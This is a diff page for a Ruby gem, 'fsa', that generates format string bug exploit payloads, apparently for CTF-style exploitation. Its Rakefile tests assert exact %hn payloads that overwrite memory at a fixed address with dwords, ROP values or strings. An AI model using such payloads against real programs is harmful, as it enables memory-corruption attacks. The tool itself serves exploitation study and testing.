fsa 0.1.0 → 0.1.1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.travis.yml +14 -0
- data/README.md +9 -2
- data/Rakefile +21 -0
- data/fsa.gemspec +1 -1
- data/lib/fsa/version.rb +1 -1
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 97a68ab3e6d59135b0a2bb1cc89e29c8c76e47f67a871cfe1dbe0129db9f38a1
|
4
|
+
data.tar.gz: 199ccfe864769150f2c7b20bd2a115b4ea7ec4c5b9392c1b5a8cac77fa06ea20
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 69e14b610172a8c29801216a44cf043f5915664de42bc786fb5d9c4881ff9db289635f228e1bb7af727268ad951008d2054089d28a54babdecf3c1ee1c8e4b64
|
7
|
+
data.tar.gz: d0331f12e9e59581123e3eafefb17cc51a37e8c8ad34595808463c80fb0b39bf03ec36215f8df015241401e7e377f2198375efe62df3745bbff5b3ca4ff3cb28
|
data/.travis.yml
ADDED
data/README.md
CHANGED
@@ -5,13 +5,20 @@
|
|
5
5
|
|
6
6
|
I made this script based on [libformatstr](https://github.com/hellman/libformatstr).
|
7
7
|
|
8
|
+
|
9
|
+
## Install
|
10
|
+
|
11
|
+
```
|
12
|
+
$ gem install fsa
|
13
|
+
```
|
14
|
+
|
8
15
|
## Usage
|
9
16
|
|
10
17
|
### Basic
|
11
18
|
|
12
19
|
```ruby
|
13
20
|
#coding: ascii-8bit
|
14
|
-
require_relative '
|
21
|
+
require_relative 'fsa'
|
15
22
|
|
16
23
|
target_addr = 0x08049580
|
17
24
|
|
@@ -40,7 +47,7 @@ p fmt.payload(0)
|
|
40
47
|
|
41
48
|
```ruby
|
42
49
|
#coding: ascii-8bit
|
43
|
-
require_relative '
|
50
|
+
require_relative 'fsa'
|
44
51
|
|
45
52
|
target_addr = 0x08049580
|
46
53
|
value = 0xdead # 2byte(Supported 2byte, 1byte)
|
data/Rakefile
CHANGED
@@ -1,2 +1,23 @@
|
|
1
|
+
#coding: ascii-8bit
|
1
2
|
require "bundler/gem_tasks"
|
2
3
|
task :default => :spec
|
4
|
+
|
5
|
+
require './lib/fsa.rb'
|
6
|
+
|
7
|
+
task :dword do
|
8
|
+
fsa = FSA.new
|
9
|
+
fsa[0x08049580] = 0xdeadbeef
|
10
|
+
raise "Failed: Overwrite dword" if "%48879c%6$hn%8126c%7$hnA\x80\x95\x04\b\x82\x95\x04\b" != fsa.payload(0)
|
11
|
+
end
|
12
|
+
|
13
|
+
task :rop do
|
14
|
+
fsa = FSA.new
|
15
|
+
fsa[0x08049580] = [0xdeadbeef, 0xdeadbeef]
|
16
|
+
raise "Failed: Overwrite ROP" if "%48879c%9$hn%10$hn%8126c%11$hn%12$hn\x80\x95\x04\b\x84\x95\x04\b\x82\x95\x04\b\x86\x95\x04\b" != fsa.payload(0)
|
17
|
+
end
|
18
|
+
|
19
|
+
task :string do
|
20
|
+
fsa = FSA.new
|
21
|
+
fsa[0x08049580] = "H@CK"
|
22
|
+
raise "Failed: Overwrite string" if "%16456c%6$hn%2811c%7$hnA\x80\x95\x04\b\x82\x95\x04\b" != fsa.payload(0)
|
23
|
+
end
|
data/fsa.gemspec
CHANGED
@@ -12,7 +12,7 @@ Gem::Specification.new do |spec|
|
|
12
12
|
spec.summary = %q{Generating payload of format string bug}
|
13
13
|
spec.description = %q{Generating payload of format string bug}
|
14
14
|
spec.license = "MIT"
|
15
|
-
spec.homepage = "https://github.com/owlinux1000/
|
15
|
+
spec.homepage = "https://github.com/owlinux1000/fsalib"
|
16
16
|
spec.files = `git ls-files -z`.split("\x0").reject do |f|
|
17
17
|
f.match(%r{^(test|spec|features)/})
|
18
18
|
end
|
data/lib/fsa/version.rb
CHANGED
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: fsa
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.1
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Chihiro Hasegawa
|
@@ -46,6 +46,7 @@ extensions: []
|
|
46
46
|
extra_rdoc_files: []
|
47
47
|
files:
|
48
48
|
- ".gitignore"
|
49
|
+
- ".travis.yml"
|
49
50
|
- Gemfile
|
50
51
|
- Gemfile.lock
|
51
52
|
- LICENSE.txt
|
@@ -57,7 +58,7 @@ files:
|
|
57
58
|
- lib/fsa.rb
|
58
59
|
- lib/fsa/version.rb
|
59
60
|
- vendor/cache/rake-10.5.0.gem
|
60
|
-
homepage: https://github.com/owlinux1000/
|
61
|
+
homepage: https://github.com/owlinux1000/fsalib
|
61
62
|
licenses:
|
62
63
|
- MIT
|
63
64
|
metadata: {}
|